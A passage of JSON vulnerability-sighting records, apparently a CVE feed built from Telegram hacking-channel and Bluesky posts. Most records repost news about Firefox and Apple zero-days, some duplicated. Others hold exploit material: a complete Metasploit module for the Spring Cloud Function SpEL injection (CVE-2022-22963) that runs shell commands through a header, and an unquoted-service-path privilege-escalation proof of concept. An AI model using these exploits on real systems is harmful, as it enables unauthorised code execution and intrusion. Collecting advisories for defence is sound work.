97.0.2, Firefox ESR 91.6.1, Firefox for Android 97.3.0, and Focus 97.3.0 to fix two critical zero-day vulnerabilities actively exploited in attacks.\nBoth zero-day vulnerabilities are \u201cUse-after-free\u201d bugs, which is when a program tries to use memory that has been previously cleared. When threat actors exploit this type of bug, it can cause the program to crash while at the same time allowing commands to be executed on the device without permission.\n\nThese bugs are critical because they could allow a remote attacker to execute almost any command, including the downloading of malware to provide further access to the device.\n\nThe zero-day vulnerabilities fixed by Mozilla are:\n\n* CVE-2022-26485: Use-after-free in XSLT parameter processing \u2013\u00a0Removing an XSLT parameter during processing could have lead to an exploitable use-after-free. We have had reports of attacks in the wild abusing this flaw.\n* CVE-2022-26486: Use-after-free in WebGPU IPC Framework \u2013 An unexpected message in the WebGPU IPC framework could lead to a use-after-free and exploitable sandbox escape. We have had reports of attacks in the wild abusing this flaw.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nAs Mozilla\u2019s security advisory explains, the Firefox developers are aware of \u201creports of attacks in the wild\u201d actively exploiting these vulnerabilities.\n\nWhile Mozilla has not shared how threat actors use these zero-day vulnerabilities in attacks, it was likely done by redirecting Firefox users to maliciously crafted web pages.\n\nThese vulnerabilities were discovered and disclosed to Mozilla by Chinese cybersecurity company Qihoo 360 ATA.\n\nDue to the critical nature of these bugs, and they are being actively exploited, it is strongly recommended that all Firefox users update their browsers immediately.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH You can also download the latest version of Mozilla Firefox for Windows, macOS, and Linux from the following links:\n\n* Firefox 97.0.2 for Windows 64-bit\n* Firefox 97.0.2 for Windows 32-bit\n* Firefox 97.0.2 for macOS\n* Firefox 97.0.2 for Linux 64-bit\n* Firefox 97.0.2 for Linux 32-bit\n\nUsers can manually check for new updates by going to the Firefox menu\u00a0> Help\u00a0> About Firefox. Firefox will then automatically check for and install the latest update and prompt you to restart your browser. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: bleepingcomputer.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/apple-iphone-hacking-90x90.jpg Apple emergency update fixes zero-days used to hack iPhones, Macs5 hours ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Google-Campus-90x90.jpg Google Chrome Bug Actively Exploited as Zero-Day1 day ago\n* https://www.blackhatet[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-26486", "author": {"login": "automation"}}, {"uuid": "baa78813-369e-4b3c-a9c3-2a8e186cbe91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.094652+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/48396", "content": "Black Hat Ethical Hacking\nNews-Draft-Patreon image removed, Patreon link instead\n\nNews-Draft-Patreon image removed, Patreon link insteadPost Views: 7 Advanced Enumeration techniques with NMAP, Zenmap and Hydra https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Digital-Patreon-Logo_FieryCoral-150x150.png Subscribe to Patreon to\u00a0watch this episode.\nReading Time: 2 Minutes\n\u200bMozilla has released Firefox 97.0.2, Firefox ESR 91.6.1, Firefox for Android 97.3.0, and Focus 97.3.0 to fix two critical zero-day vulnerabilities actively exploited in attacks.\nBoth zero-day vulnerabilities are \u201cUse-after-free\u201d bugs, which is when a program tries to use memory that has been previously cleared. When threat actors exploit this type of bug, it can cause the program to crash while at the same time allowing commands to be executed on the device without permission.\n\nThese bugs are critical because they could allow a remote attacker to execute almost any command, including the downloading of malware to provide further access to the device.\n\nThe zero-day vulnerabilities fixed by Mozilla are:\n\n* CVE-2022-26485: Use-after-free in XSLT parameter processing \u2013\u00a0Removing an XSLT parameter during processing could have lead to an exploitable use-after-free. We have had reports of attacks in the wild abusing this flaw.\n* CVE-2022-26486: Use-after-free in WebGPU IPC Framework \u2013 An unexpected message in the WebGPU IPC framework could lead to a use-after-free and exploitable sandbox escape. We have had reports of attacks in the wild abusing this flaw.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png \nAs Mozilla\u2019s security advisory explains, the Firefox developers are aware of \u201creports of attacks in the wild\u201d actively exploiting these vulnerabilities.\n\nWhile Mozilla has not shared how threat actors use these zero-day vulnerabilities in attacks, it was likely done by redirecting Firefox users to maliciously crafted web pages.\n\nThese vulnerabilities were discovered and disclosed to Mozilla by Chinese cybersecurity company Qihoo 360 ATA.\n\nDue to the critical nature of these bugs, and they are being actively exploited, it is strongly recommended that all Firefox users update their browsers immediately.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH You can also download the latest version of Mozilla Firefox for Windows, macOS, and Linux from the following links:\n\n* Firefox 97.0.2 for Windows 64-bit\n* Firefox 97.0.2 for Windows 32-bit\n* Firefox 97.0.2 for macOS\n* Firefox 97.0.2 for Linux 64-bit\n* Firefox 97.0.2 for Linux 32-bit\n\nUsers can manually check for new updates by going to the Firefox menu\u00a0> Help\u00a0> About Firefox. Firefox will then automatically check for and install the latest update and prompt you to restart your browser. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: bleepingcomputer.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/apple-iphone-hacking-90x90.jpg Apple emergency update fixes zero-days used to hack iPhones, Macs5 hours ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Google-Campus-90x90.jpg Google Chrome Bug Actively Exploited as Zero-Day1 day ago\n* https://www.blackhatet[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-26485", "author": {"login": "automation"}}, {"uuid": "1cb69c79-9699-4b5b-a124-1093316966a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:05.045941+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/48382", "content": "Black Hat Ethical Hacking\nApple emergency update fixes zero-days used to hack iPhones, Macs\n\nApple emergency update fixes zero-days used to hack iPhones, MacsPost Views: 16 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nApple has released security updates on Thursday to address two zero-day vulnerabilities exploited by attackers to hack iPhones, iPads, and Macs.\nZero-day\u00a0security bugs are flaws the software\u00a0vendor is unaware of and\u00a0hasn\u2019t patched. In some cases, they also have publicly available proof-of-concept exploits or may be\u00a0actively exploited in the wild.\n\nIn security advisories\u00a0published today, Apple said that they\u2019re aware of reports the issues \u201cmay have been actively exploited.\u201d\n\nThe two flaws are an out-of-bounds write issue (CVE-2022-22674) in the Intel Graphics Driver that allows apps to read kernel memory and an out-of-bounds read issue (CVE-2022-22675) in the AppleAVD media decoder that will enable apps to execute arbitrary code with kernel privileges.\n\nThe bugs were reported by anonymous researchers\u00a0and fixed by Apple in iOS 15.4.1, iPadOS 15.4.1, and macOS Monterey 12.3.1 with\u00a0improved input validation and\u00a0bounds checking, respectively.\n\nThe list of impacted devices includes:\n\n* Macs running macOS Monterey\n* iPhone\u00a06s and later\n* iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\n\nApple disclosed\u00a0active exploitation in the wild, however, it did not release any additional info regarding these attacks.\n\nWithholding this information is likely designed to allow the security updates to reach as many iPhones, iPads, and Macs as possible before threat actors pick up on the details and start abusing the now-patched zero-days.\n\nEven though these\u00a0zero-days were\u00a0likely only used in targeted attacks, it\u2019s still strongly advised to install today\u2019s security updates as soon as possible to block potential attack attempts.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Five zero-days patched by Apple this yearIn January, Apple patched two more actively exploited zero-days\u00a0that can enable attackers to achieve arbitrary code execution with kernel privileges (CVE-2022-22587) and track web browsing activity and the users\u2019 identities in real-time (CVE-2022-22594).\n\nIn February, Apple released security updates to fix a new zero-day bug\u00a0exploited to hack iPhones, iPads, and Macs, leading to OS crashes and remote code execution on compromised devices after processing maliciously crafted web content.\n\nThese first three zero-days also impacted iPhones (iPhone 6s and up), Macs running macOS Monterey, and multiple iPad models.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH The company also had to deal with an almost unending stream of zero-days exploited in the wild\u00a0to target iOS, iPadOS, and macOS devices throughout 2021.\n\nThat list includes multiple flaws used to deploy NSO\u2019s Pegasus spyware\u00a0on iPhones belonging to journalists, activists, and politicians. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Lizard Squad \u2013 the infamous hacking group that brought Xbox and PlayStation networks to their knees. Source: bleepingcomputer.com Source Linkhttps://www.blackhatethicalhacking.com/wp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22675", "author": {"login": "automation"}}, {"uuid": "c4403fe5-1eaf-43b7-90e6-aeef82964524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.994642+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/48382", "content": "Black Hat Ethical Hacking\nApple emergency update fixes zero-days used to hack iPhones, Macs\n\nApple emergency update fixes zero-days used to hack iPhones, MacsPost Views: 16 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nApple has released security updates on Thursday to address two zero-day vulnerabilities exploited by attackers to hack iPhones, iPads, and Macs.\nZero-day\u00a0security bugs are flaws the software\u00a0vendor is unaware of and\u00a0hasn\u2019t patched. In some cases, they also have publicly available proof-of-concept exploits or may be\u00a0actively exploited in the wild.\n\nIn security advisories\u00a0published today, Apple said that they\u2019re aware of reports the issues \u201cmay have been actively exploited.\u201d\n\nThe two flaws are an out-of-bounds write issue (CVE-2022-22674) in the Intel Graphics Driver that allows apps to read kernel memory and an out-of-bounds read issue (CVE-2022-22675) in the AppleAVD media decoder that will enable apps to execute arbitrary code with kernel privileges.\n\nThe bugs were reported by anonymous researchers\u00a0and fixed by Apple in iOS 15.4.1, iPadOS 15.4.1, and macOS Monterey 12.3.1 with\u00a0improved input validation and\u00a0bounds checking, respectively.\n\nThe list of impacted devices includes:\n\n* Macs running macOS Monterey\n* iPhone\u00a06s and later\n* iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\n\nApple disclosed\u00a0active exploitation in the wild, however, it did not release any additional info regarding these attacks.\n\nWithholding this information is likely designed to allow the security updates to reach as many iPhones, iPads, and Macs as possible before threat actors pick up on the details and start abusing the now-patched zero-days.\n\nEven though these\u00a0zero-days were\u00a0likely only used in targeted attacks, it\u2019s still strongly advised to install today\u2019s security updates as soon as possible to block potential attack attempts.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Five zero-days patched by Apple this yearIn January, Apple patched two more actively exploited zero-days\u00a0that can enable attackers to achieve arbitrary code execution with kernel privileges (CVE-2022-22587) and track web browsing activity and the users\u2019 identities in real-time (CVE-2022-22594).\n\nIn February, Apple released security updates to fix a new zero-day bug\u00a0exploited to hack iPhones, iPads, and Macs, leading to OS crashes and remote code execution on compromised devices after processing maliciously crafted web content.\n\nThese first three zero-days also impacted iPhones (iPhone 6s and up), Macs running macOS Monterey, and multiple iPad models.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH The company also had to deal with an almost unending stream of zero-days exploited in the wild\u00a0to target iOS, iPadOS, and macOS devices throughout 2021.\n\nThat list includes multiple flaws used to deploy NSO\u2019s Pegasus spyware\u00a0on iPhones belonging to journalists, activists, and politicians. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Lizard Squad \u2013 the infamous hacking group that brought Xbox and PlayStation networks to their knees. Source: bleepingcomputer.com Source Linkhttps://www.blackhatethicalhacking.com/wp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22674", "author": {"login": "automation"}}, {"uuid": "80b51416-21cc-4242-a9d0-7a5be51b5c83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.946039+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/48382", "content": "Black Hat Ethical Hacking\nApple emergency update fixes zero-days used to hack iPhones, Macs\n\nApple emergency update fixes zero-days used to hack iPhones, MacsPost Views: 16 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nApple has released security updates on Thursday to address two zero-day vulnerabilities exploited by attackers to hack iPhones, iPads, and Macs.\nZero-day\u00a0security bugs are flaws the software\u00a0vendor is unaware of and\u00a0hasn\u2019t patched. In some cases, they also have publicly available proof-of-concept exploits or may be\u00a0actively exploited in the wild.\n\nIn security advisories\u00a0published today, Apple said that they\u2019re aware of reports the issues \u201cmay have been actively exploited.\u201d\n\nThe two flaws are an out-of-bounds write issue (CVE-2022-22674) in the Intel Graphics Driver that allows apps to read kernel memory and an out-of-bounds read issue (CVE-2022-22675) in the AppleAVD media decoder that will enable apps to execute arbitrary code with kernel privileges.\n\nThe bugs were reported by anonymous researchers\u00a0and fixed by Apple in iOS 15.4.1, iPadOS 15.4.1, and macOS Monterey 12.3.1 with\u00a0improved input validation and\u00a0bounds checking, respectively.\n\nThe list of impacted devices includes:\n\n* Macs running macOS Monterey\n* iPhone\u00a06s and later\n* iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\n\nApple disclosed\u00a0active exploitation in the wild, however, it did not release any additional info regarding these attacks.\n\nWithholding this information is likely designed to allow the security updates to reach as many iPhones, iPads, and Macs as possible before threat actors pick up on the details and start abusing the now-patched zero-days.\n\nEven though these\u00a0zero-days were\u00a0likely only used in targeted attacks, it\u2019s still strongly advised to install today\u2019s security updates as soon as possible to block potential attack attempts.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Five zero-days patched by Apple this yearIn January, Apple patched two more actively exploited zero-days\u00a0that can enable attackers to achieve arbitrary code execution with kernel privileges (CVE-2022-22587) and track web browsing activity and the users\u2019 identities in real-time (CVE-2022-22594).\n\nIn February, Apple released security updates to fix a new zero-day bug\u00a0exploited to hack iPhones, iPads, and Macs, leading to OS crashes and remote code execution on compromised devices after processing maliciously crafted web content.\n\nThese first three zero-days also impacted iPhones (iPhone 6s and up), Macs running macOS Monterey, and multiple iPad models.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH The company also had to deal with an almost unending stream of zero-days exploited in the wild\u00a0to target iOS, iPadOS, and macOS devices throughout 2021.\n\nThat list includes multiple flaws used to deploy NSO\u2019s Pegasus spyware\u00a0on iPhones belonging to journalists, activists, and politicians. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Lizard Squad \u2013 the infamous hacking group that brought Xbox and PlayStation networks to their knees. Source: bleepingcomputer.com Source Linkhttps://www.blackhatethicalhacking.com/wp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22594", "author": {"login": "automation"}}, {"uuid": "504758e4-b766-421c-a450-d0e462e4a59d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.899039+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/48382", "content": "Black Hat Ethical Hacking\nApple emergency update fixes zero-days used to hack iPhones, Macs\n\nApple emergency update fixes zero-days used to hack iPhones, MacsPost Views: 16 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nApple has released security updates on Thursday to address two zero-day vulnerabilities exploited by attackers to hack iPhones, iPads, and Macs.\nZero-day\u00a0security bugs are flaws the software\u00a0vendor is unaware of and\u00a0hasn\u2019t patched. In some cases, they also have publicly available proof-of-concept exploits or may be\u00a0actively exploited in the wild.\n\nIn security advisories\u00a0published today, Apple said that they\u2019re aware of reports the issues \u201cmay have been actively exploited.\u201d\n\nThe two flaws are an out-of-bounds write issue (CVE-2022-22674) in the Intel Graphics Driver that allows apps to read kernel memory and an out-of-bounds read issue (CVE-2022-22675) in the AppleAVD media decoder that will enable apps to execute arbitrary code with kernel privileges.\n\nThe bugs were reported by anonymous researchers\u00a0and fixed by Apple in iOS 15.4.1, iPadOS 15.4.1, and macOS Monterey 12.3.1 with\u00a0improved input validation and\u00a0bounds checking, respectively.\n\nThe list of impacted devices includes:\n\n* Macs running macOS Monterey\n* iPhone\u00a06s and later\n* iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\n\nApple disclosed\u00a0active exploitation in the wild, however, it did not release any additional info regarding these attacks.\n\nWithholding this information is likely designed to allow the security updates to reach as many iPhones, iPads, and Macs as possible before threat actors pick up on the details and start abusing the now-patched zero-days.\n\nEven though these\u00a0zero-days were\u00a0likely only used in targeted attacks, it\u2019s still strongly advised to install today\u2019s security updates as soon as possible to block potential attack attempts.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Five zero-days patched by Apple this yearIn January, Apple patched two more actively exploited zero-days\u00a0that can enable attackers to achieve arbitrary code execution with kernel privileges (CVE-2022-22587) and track web browsing activity and the users\u2019 identities in real-time (CVE-2022-22594).\n\nIn February, Apple released security updates to fix a new zero-day bug\u00a0exploited to hack iPhones, iPads, and Macs, leading to OS crashes and remote code execution on compromised devices after processing maliciously crafted web content.\n\nThese first three zero-days also impacted iPhones (iPhone 6s and up), Macs running macOS Monterey, and multiple iPad models.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH The company also had to deal with an almost unending stream of zero-days exploited in the wild\u00a0to target iOS, iPadOS, and macOS devices throughout 2021.\n\nThat list includes multiple flaws used to deploy NSO\u2019s Pegasus spyware\u00a0on iPhones belonging to journalists, activists, and politicians. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Lizard Squad \u2013 the infamous hacking group that brought Xbox and PlayStation networks to their knees. Source: bleepingcomputer.com Source Linkhttps://www.blackhatethicalhacking.com/wp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22587", "author": {"login": "automation"}}, {"uuid": "bc572e9f-8952-418d-9dcc-5f717539a4a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.855465+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/48319", "content": "Exploit Collector\nIdeaRE RefTree Path Traversal\n\nhttps://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png \nIdeaRE RefTree versions prior to 2021.09.17 suffer from a path traversal vulnerability.\n\nMD5 | 1904b5871bb55bef8c2d09153a908a8b\n\nDownload\n===============================================================================\ntitle: IdeaRE RefTree Download Path Traversal\nproduct: IdeaRE RefTree < 2021.09.17\nvulnerability type: Directory Traversal\nCVE ID: CVE-2022-27248\nseverity: Medium\nCVSSv3 score: 4.3\nCVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\nfound: 2021-09-13\nby: Savino Sisco = 2021.09.17\n\n[CONTACT DETAILS]\nSavino Sisco \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-27248", "author": {"login": "automation"}}, {"uuid": "bd81069c-4379-4da4-bf8a-66a821012a3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.807653+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48374", "content": "My First RCE from N/A to Triaged (CVE-2021\u20133064)\nhttps://medium.com/@vivekkashyap0707/my-first-rce-from-n-a-to-triaged-cve-2021-3064-acdd0541c664?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-3064", "author": {"login": "automation"}}, {"uuid": "b3731a49-2c88-4f0f-be70-2c31764d67e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.759154+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48376", "content": "hello hackers, my name is Vivek Kumar & I started my bug bounty journey 8 months ago lets get back to the RCE its gonna very shot blog\u2026Continue reading on Medium \u00bb (https://medium.com/@vivekkashyap0707/my-first-rce-from-n-a-to-triaged-cve-2021-3064-acdd0541c664?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-3064", "author": {"login": "automation"}}, {"uuid": "d1b18f5a-7570-4e2f-892b-a1468d9efb75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.711108+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48316", "content": "Exploit Collector\nSpring Cloud Function SpEL Injection\n\nhttps://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.\n\nMD5 | 37237adb0a663338ed6a55623faff6dbDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Spring Cloud Function SpEL Injection',\n'Description' => %q{\nSpring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using\nan unsafe evaluation context with user-provided queries. By crafting a request to the application and setting\nthe spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code\nexecution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.\n},\n'Author' => [\n'm09u3r', # vulnerability discovery\n'hktalent', # github PoC\n'Spencer McIntyre'\n],\n'References' => [\n['CVE', '2022-22963'],\n['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],\n['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],\n['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']\n],\n'DisclosureDate' => '2022-03-29',\n'License' => MSF_LICENSE,\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Privileged' => false,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Type' => :linux_dropper\n}\n]\n],\n'DefaultTarget' => 1,\n'DefaultOptions' => {\n'RPORT' => 8080,\n'TARGETURI' => '/functionRouter'\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\n\nregister_options([\nOptString.new('TARGETURI', [true, 'Base path', '/'])\n])\nend\n\ndef check\nres = send_request_cgi(\n'method' => 'POST',\n'uri' => normalize_uri(datastore['TARGETURI'])\n)\n\nreturn CheckCode::Unknown unless res\n\n# both vulnerable and patched servers respond with 500 and a JSON body with these keys\nreturn CheckCode::Safe unless res.code == 500\nreturn CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)\n\n# best we can do is detect that the service is running\nCheckCode::Detected\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\ncase target['Type']\nwhen :unix_cmd\nexecute_command(payload.encoded)\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\ndef execute_command(cmd, _opts = {})\nvprint_status(\"Executing command: #{cmd}\")\nres = send_request_cgi(\n'method' => 'POST',\n'uri' => normalize_uri(datastore['TARGETURI']),\n'headers' => {\n'spring.cloud.function.routing-expression' => \"T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub(\"'\", \"''\")}'})\"\n}\n)\n\nfail_with(Failure::Unreachable, 'Connection failed') if res.nil?\nfail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-22963", "author": {"login": "automation"}}, {"uuid": "6418c243-7f2d-4307-ae02-1422f19cf196", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.702474+00:00", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3musytflyoq25", "content": "CVE-2026-86153\nThe Tenda CP3 router firmware contains a flaw in its redirect handling code that lets an attacker change the device\u2019s permission settings from outside the network. This could allow a remote user to take control\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "vulnerability": "CVE-2026-86153", "author": {"login": "automation"}}, {"uuid": "cf84fa18-d308-4917-b76e-7df1204cc8d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T03:00:04.619329+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48318", "content": "Exploit Collector\nEG Free AntiVirus 2020 Privilege Escalation / Unquoted Service Path\n\nhttps://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png \nEG Free AntiVirus version 2020 suffers from an unquoted service path vulnerability that can lead to privilege escalation.\n\nMD5 | 1f237a69cc97f9cb11c0109dcc192e3e\n\nDownload\n# Exploit Title: EG Free AntiVirus v2020 - Unquoted Service Path (Local Privilege Escalation)\n# Date: 24/01/2022\n# Exploit Author: Shahrukh Iqbal Mirza (@shahrukhiqbal24)\n# Vendor Homepage: http://www.egsoftweb.in/index.aspx\n# Software Link: http://www.egsoftweb.in/OurProduct_Readmore.aspx?id=6\n# Version: 2020\n# Tested: Windows 10 (x64)\n# CVE: CVE-2021-46439\n\n-------------\nDescription:\n-------------\n\nEG Free AntiVirus (v2020) installs a service (WinSEGAV AutoConfig) with\nan unquoted service path. Since this service is running as SYSTEM, it\ncreates a local privilege escalation vulnerability. To properly exploit\nthis vulnerability, a local attacker must insert an executable in the\npath of the service. Rebooting the system or restarting the service\nwill run the malicious executable with elevated privileges.\n\n------------------\nProof of Concept:\n------------------\n\nC:\\Users\\shah>sc qc  \u201cWinSEGAV AutoConfig\u201d\n[SC] QueryServiceConfig SUCCESS\n\nSERVICE_NAME: WinSEGAV AutoConfig\nTYPE               : 10  WIN32_OWN_PROCESS\nSTART_TYPE         : 2   AUTO_START\nERROR_CONTROL      : 1   NORMAL\nBINARY_PATH_NAME   : C:\\Program Files\\EGSoftWeb\\EG Anti\nVirus\\egavser.exe\nLOAD_ORDER_GROUP   :\nTAG                : 0\nDISPLAY_NAME       : Windows Service For EG Free AntiVirus\nDEPENDENCIES       :\nSERVICE_START_NAME : LocalSystem\nBest regards,\nShahrukh Iqbal Mirza. \n\nSource:packetstormsecurity.com\n\n___________________________ 